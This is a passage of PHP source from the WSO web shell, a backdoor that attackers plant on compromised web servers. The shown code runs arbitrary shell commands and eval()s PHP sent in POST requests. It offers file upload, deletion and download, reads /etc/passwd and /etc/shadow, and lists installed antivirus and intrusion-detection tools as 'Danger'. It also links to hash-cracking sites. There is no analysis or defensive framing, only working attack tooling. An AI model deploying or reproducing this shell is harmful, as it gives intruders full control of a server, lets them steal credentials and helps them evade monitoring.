277    for ($i = 0; $i < $n - 1; $i++)
278        {
279        $cwd_links.= "<a href='#' onclick='g(\"FilesMan\",\"";
280        for ($j = 0; $j <= $i; $j++) $cwd_links.= $path[$j] . '/';
281        $cwd_links.= "\")'>" . $path[$i] . "/</a>";
282        }
283 
284    $charsets = array(
285        'UTF-8',
286        'Windows-1251',
287        'KOI8-R',
288        'KOI8-U',
289        'cp866'
290    );
291    $opt_charsets = '';
292    foreach($charsets as $item) $opt_charsets.= '<option value="' . $item . '" ' . ($_POST['charset'] == $item ? 'selected' : '') . '>' . $item . '</option>';
293    $m = array(
294        'Sec. Info' => 'SecInfo',
295        'Files' => 'FilesMan',
296        'Console' => 'Console',
297        'Sql' => 'Sql',
298        'Php' => 'Php',
299        'String tools' => 'StringTools',
300        'Bruteforce' => 'Bruteforce',
301        'Network' => 'Network'
302    );
303    if (!empty($GLOBALS['auth_pass'])) $m['Logout'] = 'Logout';
304    $m['Self remove'] = 'SelfRemove';
305    $menu = '';
306    foreach($m as $k => $v) $menu.= '<th width="' . (int)(100 / count($m)) . '%">[ <a href="#" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a> ]</th>';
307    $drives = "";
308    if ($GLOBALS['os'] == 'win')
309        {
310        foreach(range('c', 'z') as $drive)
311        if (is_dir($drive . ':\\')) $drives.= '<a href="#" onclick="g(\'FilesMan\',\'' . $drive . ':/\')">[ ' . $drive . ' ]</a> ';
312        }
313 
314    echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br />User:<br />Php:<br />Hdd:<br />Cwd:' . ($GLOBALS['os'] == 'win' ? '<br />Drives:' : '') . '</span></td>' . '<td><nobr>' . substr(@php_uname() , 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br />' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br />' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode'] ? '<font color=red>ON</font>' : '<font color=green><b>OFF</b></font>') . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br />' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' (' . (int)($freeSpace / $totalSpace * 100) . '%)<br />' . $cwd_links . ' ' . wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br />' . $drives . '</td>' . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br /><span>Server IP:</span><br />' . @$_SERVER["SERVER_ADDR"] . '<br /><span>Client IP:</span><br />' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
315    }
316 
317function wsoFooter()
318    {
319    $is_writable = is_writable($GLOBALS['cwd']) ? " <font color='green'>(Writeable)</font>" : " <font color=red>(Not writable)</font>";
320    echo " </div> <table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'> <tr> <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br /><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=submit value='>>'></form></td> <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br /><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td> </tr><tr> <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br /><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td> <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br /><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td> </tr><tr> <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br /><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td> <td><form method='post' ENCTYPE='multipart/form-data'> <input type=hidden name=a value='FilesMAn'> <input type=hidden name=c value='" . $GLOBALS['cwd'] . "'> <input type=hidden name=p1 value='uploadFile'> <input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'> <span>Upload file:</span>$is_writable<br /><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td> </tr></table></div></body></html>";
321    }
322 
323if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid') === false))
324    {
325    function posix_getpwuid($p)
326        {
327        return false;
328        }
329    }
330 
331if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid') === false))
332    {
333    function posix_getgrgid($p)
334        {
335        return false;
336        }
337    }
338 
339function wsoEx($in)
340    {
341    $out = '';
342    if (function_exists('exec'))
343        {
344        @exec($in, $out);
345        $out = @join("\n", $out);
346        }
347    elseif (function_exists('passthru'))
348        {
349        ob_start();
350        @passthru($in);
351        $out = ob_get_clean();
352        }
353    elseif (function_exists('system'))
354        {
355        ob_start();
356        @system($in);
357        $out = ob_get_clean();
358        }
359    elseif (function_exists('shell_exec'))
360        {
361        $out = shell_exec($in);
362        }
363    elseif (is_resource($f = @popen($in, "r")))
364        {
365        $out = "";
366        while (!@feof($f)) $out.= fread($f, 1024);
367        pclose($f);
368        }
369 
370    return $out;
371    }
372 
373function wsoViewSize($s)
374    {
375    if ($s >= 1073741824) return sprintf('%1.2f', $s / 1073741824) . ' GB';
376    elseif ($s >= 1048576) return sprintf('%1.2f', $s / 1048576) . ' MB';
377    elseif ($s >= 1024) return sprintf('%1.2f', $s / 1024) . ' KB';
378      else return $s . ' B';
379    }
380 
381function wsoPerms($p)
382    {
383    if (($p & 0xC000) == 0xC000) $i = 's';
384    elseif (($p & 0xA000) == 0xA000) $i = 'l';
385    elseif (($p & 0x8000) == 0x8000) $i = '-';
386    elseif (($p & 0x6000) == 0x6000) $i = 'b';
387    elseif (($p & 0x4000) == 0x4000) $i = 'd';
388    elseif (($p & 0x2000) == 0x2000) $i = 'c';
389    elseif (($p & 0x1000) == 0x1000) $i = 'p';
390      else $i = 'u';
391    $i.= (($p & 0x0100) ? 'r' : '-');
392    $i.= (($p & 0x0080) ? 'w' : '-');
393    $i.= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x') : (($p & 0x0800) ? 'S' : '-'));
394    $i.= (($p & 0x0020) ? 'r' : '-');
395    $i.= (($p & 0x0010) ? 'w' : '-');
396    $i.= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x') : (($p & 0x0400) ? 'S' : '-'));
397    $i.= (($p & 0x0004) ? 'r' : '-');
398    $i.= (($p & 0x0002) ? 'w' : '-');
399    $i.= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x') : (($p & 0x0200) ? 'T' : '-'));
400    return $i;
401    }
402 
403function wsoPermsColor($f)
404    {
405    if (!@is_readable($f)) return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
406    elseif (!@is_writable($f)) return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
407      else return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
408    }
409 
410function wsoScandir($dir)
411    {
412    if (function_exists("scandir"))
413        {
414        return scandir($dir);
415        }
416      else
417        {
418        $dh = opendir($dir);
419        while (false !== ($filename = readdir($dh))) $files[] = $filename;
420        return $files;
421        }
422    }
423 
424function wsoWhich($p)
425    {
426    $path = wsoEx('which ' . $p);
427    if (!empty($path)) return $path;
428    return false;
429    }
430 
431function actionSecInfo()
432    {
433    wsoHeader();
434    echo '<h1>Server security information</h1><div class=content>';
435    function wsoSecParam($n, $v)
436        {
437        $v = trim($v);
438        if ($v)
439            {
440            echo '<span>' . $n . ': </span>';
441            if (strpos($v, "\n") === false) echo $v . '<br />';
442              else echo '<pre class=ml1>' . $v . '</pre>';
443            }
444        }
445 
446    wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
447    if (function_exists('apache_get_modules')) wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
448    wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions'] ? $GLOBALS['disable_functions'] : 'none');
449    wsoSecParam('Open base dir', @ini_get('open_basedir'));
450    wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
451    wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
452    wsoSecParam('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
453    $temp = array();
454    if (function_exists('mysql_get_client_info')) $temp[] = "MySql (" . mysql_get_client_info() . ")";
455    if (function_exists('mssql_connect')) $temp[] = "MSSQL";
456    if (function_exists('pg_connect')) $temp[] = "PostgreSQL";
457    if (function_exists('oci_connect')) $temp[] = "Oracle";
458    wsoSecParam('Supported databases', implode(', ', $temp));
459    echo '<br />';
460    if ($GLOBALS['os'] == 'nix')
461        {
462        wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>" : 'no');
463        wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>" : 'no');
464        wsoSecParam('OS version', @file_get_contents('/proc/version'));
465        wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
466        if (!$GLOBALS['safe_mode'])
467            {
468            $userful = array(
469                'gcc',
470                'lcc',
471                'cc',
472                'ld',
473                'make',
474                'php',
475                'perl',
476                'python',
477                'ruby',
478                'tar',
479                'gzip',
480                'bzip',
481                'bzip2',
482                'nc',
483                'locate',
484                'suidperl'
485            );
486            $danger = array(
487                'kav',
488                'nod32',
489                'bdcored',
490                'uvscan',
491                'sav',
492                'drwebd',
493                'clamd',
494                'rkhunter',
495                'chkrootkit',
496                'iptables',
497                'ipfw',
498                'tripwire',
499                'shieldcc',
500                'portsentry',
501                'snort',
502                'ossec',
503                'lidsadm',
504                'tcplodg',
505                'sxid',
506                'logcheck',
507                'logwatch',
508                'sysmask',
509                'zmbscap',
510                'sawmill',
511                'wormscan',
512                'ninja'
513            );
514            $downloaders = array(
515                'wget',
516                'fetch',
517                'lynx',
518                'links',
519                'curl',
520                'get',
521                'lwp-mirror'
522            );
523            echo '<br />';
524            $temp = array();
525            foreach($userful as $item)
526            if (wsoWhich($item)) $temp[] = $item;
527            wsoSecParam('Userful', implode(', ', $temp));
528            $temp = array();
529            foreach($danger as $item)
530            if (wsoWhich($item)) $temp[] = $item;
531            wsoSecParam('Danger', implode(', ', $temp));
532            $temp = array();
533            foreach($downloaders as $item)
534            if (wsoWhich($item)) $temp[] = $item;
535            wsoSecParam('Downloaders', implode(', ', $temp));
536            echo '<br/>';
537            wsoSecParam('HDD space', wsoEx('df -h'));
538            wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
539            echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
540            if (isset($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3']))
541                {
542                $temp = "";
543                for (; $_POST['p2'] <= $_POST['p3']; $_POST['p2']++)
544                    {
545                    $uid = @posix_getpwuid($_POST['p2']);
546                    if ($uid) $temp.= join(':', $uid) . "\n";
547                    }
548 
549                echo '<br/>';
550                wsoSecParam('Users', $temp);
551                }
552            }
553        }
554      else
555        {
556        wsoSecParam('OS Version', wsoEx('ver'));
557        wsoSecParam('Account Settings', wsoEx('net accounts'));
558        wsoSecParam('User Accounts', wsoEx('net user'));
559        }
560 
561    echo '</div>';
562    wsoFooter();
563    }
564 
565function actionPhp()
566    {
567    if (isset($_POST['ajax']))
568        {
569        WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
570        ob_start();
571        eval($_POST['p1']);
572        $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()) , "\n\r\t\\'\0") . "';\n";
573        echo strlen($temp) , "\n", $temp;
574        exit;
575        }
576 
577    if (empty($_POST['ajax']) && !empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
578    wsoHeader();
579    if (isset($_POST['p2']) && ($_POST['p2'] == 'info'))
580        {
581        echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
582        ob_start();
583        phpinfo();
584        $tmp = ob_get_clean();
585        $tmp = preg_replace(array(
586            '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
587            '!td, th {(.*)}!msiU',
588            '!<img[^>]+>!msiU',
589        ) , array(
590            '',
591            '.e, .v, .h, .h th {$1}',
592            ''
593        ) , $tmp);
594        echo str_replace('<h1', '<h2', $tmp) . '</div><br />';
595        }
596 
597    echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>' . (!empty($_POST['p1']) ? htmlspecialchars($_POST['p1']) : '') . '</textarea><input type=submit value=Eval style="margin-top:5px">';
598    echo ' <input type=checkbox name=ajax value=1 ' . ($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX</form><pre id=PhpOutput style="' . (empty($_POST['p1']) ? 'display:none;' : '') . 'margin-top:5px;" class=ml1>';
599    if (!empty($_POST['p1']))
600        {
601        ob_start();
602        eval($_POST['p1']);
603        echo htmlspecialchars(ob_get_clean());
604        }
605 
606    echo '</pre></div>';
607    wsoFooter();
608    }
609 
610function actionFilesMan()
611    {
612    if (!empty($_COOKIE['f'])) $_COOKIE['f'] = @unserialize($_COOKIE['f']);
613    if (!empty($_POST['p1']))
614        {
615        switch ($_POST['p1'])
616            {
617        case 'uploadFile':
618            if (!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) echo "Can't upload file!";
619            break;
620 
621        case 'mkdir':
622            if (!@mkdir($_POST['p2'])) echo "Can't create new dir";
623            break;
624 
625        case 'delete':
626            function deleteDir($path)
627                {
628                $path = (substr($path, -1) == '/') ? $path : $path . '/';
629                $dh = opendir($path);
630                while (($item = readdir($dh)) !== false)
631                    {
632                    $item = $path . $item;
633                    if ((basename($item) == "..") || (basename($item) == ".")) continue;
634                    $type = filetype($item);
635                    if ($type == "dir") deleteDir($item);
636                      else @unlink($item);
637                    }
638 
639                closedir($dh);
640                @rmdir($path);
641                }
642 
643            if (is_array(@$_POST['f']))
644            foreach($_POST['f'] as $f)
645                {
646                if ($f == '..') continue;
647                $f = urldecode($f);
648                if (is_dir($f)) deleteDir($f);
649                  else @unlink($f);
650                }
651 
652            break;
653 
654        case 'paste':
655            if ($_COOKIE['act'] == 'copy')
656                {
657                function copy_paste($c, $s, $d)
658                    {
659                    if (is_dir($c . $s))
660                        {
661                        mkdir($d . $s);
662                        $h = @opendir($c . $s);
663                        while (($f = @readdir($h)) !== false)
664                        if (($f != ".") and ($f != "..")) copy_paste($c . $s . '/', $f, $d . $s . '/');
665                        }
666                    elseif (is_file($c . $s)) @copy($c . $s, $d . $s);
667                    }
668 
669                foreach($_COOKIE['f'] as $f) copy_paste($_COOKIE['c'], $f, $GLOBALS['cwd']);
670                }
671            elseif ($_COOKIE['act'] == 'move')
672                {
673                function move_paste($c, $s, $d)
674                    {
675                    if (is_dir($c . $s))
676                        {
677                        mkdir($d . $s);
678                        $h = @opendir($c . $s);
679                        while (($f = @readdir($h)) !== false)
680                        if (($f != ".") and ($f != "..")) copy_paste($c . $s . '/', $f, $d . $s . '/');
681                        }
682                    elseif (@is_file($c . $s)) @copy($c . $s, $d . $s);
683                    }
684 
685                foreach($_COOKIE['f'] as $f) @rename($_COOKIE['c'] . $f, $GLOBALS['cwd'] . $f);
686                }
687            elseif ($_COOKIE['act'] == 'zip')
688                {
689                if (class_exists('ZipArchive'))
690                    {
691                    $zip = new ZipArchive();
692                    if ($zip->open($_POST['p2'], 1))
693                        {
694                        chdir($_COOKIE['c']);
695                        foreach($_COOKIE['f'] as $f)
696                            {
697                            if ($f == '..') continue;
698                            if (@is_file($_COOKIE['c'] . $f)) $zip->addFile($_COOKIE['c'] . $f, $f);
699                            elseif (@is_dir($_COOKIE['c'] . $f))
700                                {
701                                $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . '/'));
702                                foreach($iterator as $key => $value)
703                                    {
704                                    $zip->addFile(realpath($key) , $key);
705                                    }
706                                }
707                            }
708 
709                        chdir($GLOBALS['cwd']);
710                        $zip->close();
711                        }
712                    }
713                }
714            elseif ($_COOKIE['act'] == 'unzip')
715                {
716                if (class_exists('ZipArchive'))
717                    {
718                    $zip = new ZipArchive();
719                    foreach($_COOKIE['f'] as $f)
720                        {
721                        if ($zip->open($_COOKIE['c'] . $f))
722                            {
723                            $zip->extractTo($GLOBALS['cwd']);
724                            $zip->close();
725                            }
726                        }
727                    }
728                }
729            elseif ($_COOKIE['act'] == 'tar')
730                {
731                chdir($_COOKIE['c']);
732                $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
733                wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
734                chdir($GLOBALS['cwd']);
735                }
736 
737            unset($_COOKIE['f']);
738            setcookie('f', '', time() - 3600);
739            break;
740 
741        default:
742            if (!empty($_POST['p1']))
743                {
744                WSOsetcookie('act', $_POST['p1']);
745                WSOsetcookie('f', serialize(@$_POST['f']));
746                WSOsetcookie('c', @$_POST['c']);
747                }
748 
749            break;
750            }
751        }
752 
753    wsoHeader();
754    echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
755    $dirContent = wsoScandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']);
756    if ($dirContent === false)
757        {
758        echo 'Can\'t open this folder!';
759        wsoFooter();
760        return;
761        }
762 
763    global $sort;
764    $sort = array(
765        'name',
766        1
767    );
768    if (!empty($_POST['p1']))
769        {
770        if (preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match)) $sort = array(
771            $match[1],
772            (int)$match[2]
773        );
774        }
775 
776    echo "<script> function sa() { for(i=0;i<d.files.elements.length;i++) if(d.files.elements[i].type == 'checkbox') d.files.elements[i].checked = d.files.elements[0].checked; } </script> <table width='100%' class='main' cellspacing='0' cellpadding='2'> <form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" . ($sort[1] ? 0 : 1) . "\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" . ($sort[1] ? 0 : 1) . "\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" . ($sort[1] ? 0 : 1) . "\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" . ($sort[1] ? 0 : 1) . "\")'>Permissions</a></th><th>Actions</th></tr>";
777    $dirs = $files = array();
778    $n = count($dirContent);
779    for ($i = 0; $i < $n; $i++)
780        {
781        $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
782        $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
783        $tmp = array(
784            'name' => $dirContent[$i],
785            'path' => $GLOBALS['cwd'] . $dirContent[$i],
786            'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])) ,
787            'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]) ,
788            'size' => @filesize($GLOBALS['cwd'] . $dirContent[$i]) ,
789            'owner' => $ow['name'] ? $ow['name'] : @fileowner($dirContent[$i]) ,
790            'group' => $gr['name'] ? $gr['name'] : @filegroup($dirContent[$i])
791        );
792        if (@is_file($GLOBALS['cwd'] . $dirContent[$i])) $files[] = array_merge($tmp, array(
793            'type' => 'file'
794        ));
795        elseif (@is_link($GLOBALS['cwd'] . $dirContent[$i])) $dirs[] = array_merge($tmp, array(
796            'type' => 'link',
797            'link' => readlink($tmp['path'])
798        ));
799        elseif (@is_dir($GLOBALS['cwd'] . $dirContent[$i]) && ($dirContent[$i] != ".")) $dirs[] = array_merge($tmp, array(
800            'type' => 'dir'
801        ));
802        }
803 
804    $GLOBALS['sort'] = $sort;
805    function wsoCmp($a, $b)
806        {
807        if ($GLOBALS['sort'][0] != 'size') return strcmp(strtolower($a[$GLOBALS['sort'][0]]) , strtolower($b[$GLOBALS['sort'][0]])) * ($GLOBALS['sort'][1] ? 1 : -1);
808          else return (($a['size'] < $b['size']) ? -1 : 1) * ($GLOBALS['sort'][1] ? 1 : -1);
809        }
810 
811    usort($files, "wsoCmp");
812    usort($dirs, "wsoCmp");
813    $files = array_merge($dirs, $files);
814    $l = 0;
815    foreach($files as $f)
816        {
817        echo '<tr' . ($l ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($f['name']) . '" class=chkbx></td><td><a href=# onclick="' . (($f['type'] == 'file') ? 'g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'view\')">' . htmlspecialchars($f['name']) : 'g(\'FilesMan\',\'' . $f['path'] . '\');" ' . (empty($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>') . '</a></td><td>' . (($f['type'] == 'file') ? wsoViewSize($f['size']) : $f['type']) . '</td><td>' . $f['modify'] . '</td><td>' . $f['owner'] . '/' . $f['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\',\'chmod\')">' . $f['perms'] . '</td><td><a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'touch\')">T</a>' . (($f['type'] == 'file') ? ' <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'download\')">D</a>' : '') . '</td></tr>';
818        $l = $l ? 0 : 1;
819        }
820 
821    echo "<tr><td colspan=7> <input type=hidden name=a value='FilesMan'> <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'> <input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'> <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
822    if (class_exists('ZipArchive')) echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
823    echo "<option value='tar'>Compress (tar.gz)</option>";
824    if (!empty($_COOKIE['act']) && @count($_COOKIE['f'])) echo "<option value='paste'>Paste / Compress</option>";
825    echo "</select>&nbsp;";
826    if (!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar'))) echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip' ? 'zip' : 'tar.gz') . "'>&nbsp;";
827    echo "<input type='submit' value='>>'></td></tr></form></table></div>";
828    wsoFooter();
829    }
830 
831function actionStringTools()
832    {
833    if (!function_exists('hex2bin'))
834        {
835        function hex2bin($p)
836            {
837            return decbin(hexdec($p));
838            }
839        }
840 
841    if (!function_exists('binhex'))
842        {
843        function binhex($p)
844            {
845            return dechex(bindec($p));
846            }
847        }
848 
849    if (!function_exists('hex2ascii'))
850        {
851        function hex2ascii($p)
852            {
853            $r = '';
854            for ($i = 0; $i < strLen($p); $i+= 2)
855                {
856                $r.= chr(hexdec($p[$i] . $p[$i + 1]));
857                }
858 
859            return $r;
860            }
861        }
862 
863    if (!function_exists('ascii2hex'))
864        {
865        function ascii2hex($p)
866            {
867            $r = '';
868            for ($i = 0; $i < strlen($p); ++$i) $r.= sprintf('%02X', ord($p[$i]));
869            return strtoupper($r);
870            }
871        }
872 
873    if (!function_exists('full_urlencode'))
874        {
875        function full_urlencode($p)
876            {
877            $r = '';
878            for ($i = 0; $i < strlen($p); ++$i) $r.= '%' . dechex(ord($p[$i]));
879            return strtoupper($r);
880            }
881        }
882 
883    $stringTools = array(
884        'Base64 encode' => 'base64_encode',
885        'Base64 decode' => 'base64_decode',
886        'Url encode' => 'urlencode',
887        'Url decode' => 'urldecode',
888        'Full urlencode' => 'full_urlencode',
889        'md5 hash' => 'md5',
890        'sha1 hash' => 'sha1',
891        'crypt' => 'crypt',
892        'CRC32' => 'crc32',
893        'ASCII to HEX' => 'ascii2hex',
894        'HEX to ASCII' => 'hex2ascii',
895        'HEX to DEC' => 'hexdec',
896        'HEX to BIN' => 'hex2bin',
897        'DEC to HEX' => 'dechex',
898        'DEC to BIN' => 'decbin',
899        'BIN to HEX' => 'binhex',
900        'BIN to DEC' => 'bindec',
901        'String to lower case' => 'strtolower',
902        'String to upper case' => 'strtoupper',
903        'Htmlspecialchars' => 'htmlspecialchars',
904        'String length' => 'strlen',
905    );
906    if (isset($_POST['ajax']))
907        {
908        WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
909        ob_start();
910        if (in_array($_POST['p1'], $stringTools)) echo $_POST['p1']($_POST['p2']);
911        $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()) , "\n\r\t\\'\0") . "';\n";
912        echo strlen($temp) , "\n", $temp;
913        exit;
914        }
915 
916    if (empty($_POST['ajax']) && !empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
917    wsoHeader();
918    echo '<h1>String conversions</h1><div class=content>';
919    echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
920    foreach($stringTools as $k => $v) echo "<option value='" . htmlspecialchars($v) . "'>" . $k . "</option>";
921    echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 " . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . "> send using AJAX<br /><textarea name='input' style='margin-top:5px' class=bigarea>" . (empty($_POST['p1']) ? '' : htmlspecialchars(@$_POST['p2'])) . "</textarea></form><pre class='ml1' style='" . (empty($_POST['p1']) ? 'display:none;' : '') . "margin-top:5px' id='strOutput'>";
922    if (!empty($_POST['p1']))
923        {
924        if (in_array($_POST['p1'], $stringTools)) echo htmlspecialchars($_POST['p1']($_POST['p2']));
925        }
926 
927    echo "</pre></div><br /><h1>Search files:</h1><div class=content> <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'> <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr> <tr><td>Path:</td><td><input type='text' name='cwd' value='" . htmlspecialchars($GLOBALS['cwd']) . "' style='width:100%'></td></tr> <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr> <tr><td></td><td><input type='submit' value='>>'></td></tr> </table></form>";
928    function wsoRecursiveGlob($path)
929        {
930        if (substr($path, -1) != '/') $path.= '/';
931        $paths = @array_unique(@array_merge(@glob($path . $_POST['p3']) , @glob($path . '*', GLOB_ONLYDIR)));
932        if (is_array($paths) && @count($paths))
933            {
934            foreach($paths as $item)
935                {
936                if (@is_dir($item))
937                    {
938                    if ($path != $item) wsoRecursiveGlob($item);
939                    }
940                  else
941                    {
942                    if (empty($_POST['p2']) || @strpos(file_get_contents($item) , $_POST['p2']) !== false) echo "<a href='#' onclick='g(\"FilesTools\",null,\"" . urlencode($item) . "\", \"view\",\"\")'>" . htmlspecialchars($item) . "</a><br />";
943                    }
944                }
945            }
946        }
947 
948    if (@$_POST['p3']) wsoRecursiveGlob($_POST['c']);
949    echo "</div><br /><h1>Search for hash:</h1><div class=content> <form method='post' target='_blank' name='hf'> <input type='text' name='hash' style='width:200px;'><br /> <input type='hidden' name='act' value='find'/> <input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br /> <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br /> <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br /> </form></div>";
950    wsoFooter();
951    }
952 
953function actionFilesTools()
954    {
955    if (isset($_POST['p1'])) $_POST['p1'] = urldecode($_POST['p1']);
956    if (@$_POST['p2'] == 'download')
957        {
958        if (@is_file($_POST['p1']) && @is_readable($_POST['p1']))
959            {
960            ob_start("ob_gzhandler", 4096);
961            header("Content-Disposition: attachment; filename=" . basename($_POST['p1']));
962            if (function_exists("mime_content_type"))
963                {
964                $type = @mime_content_type($_POST['p1']);
965                header("Content-Type: " . $type);
966                }
967              else header("Content-Type: application/octet-stream");
968            $fp = @fopen($_POST['p1'], "r");
969            if ($fp)
970                {
971                while (!@feof($fp)) echo @fread($fp, 1024);
972                fclose($fp);
973                }
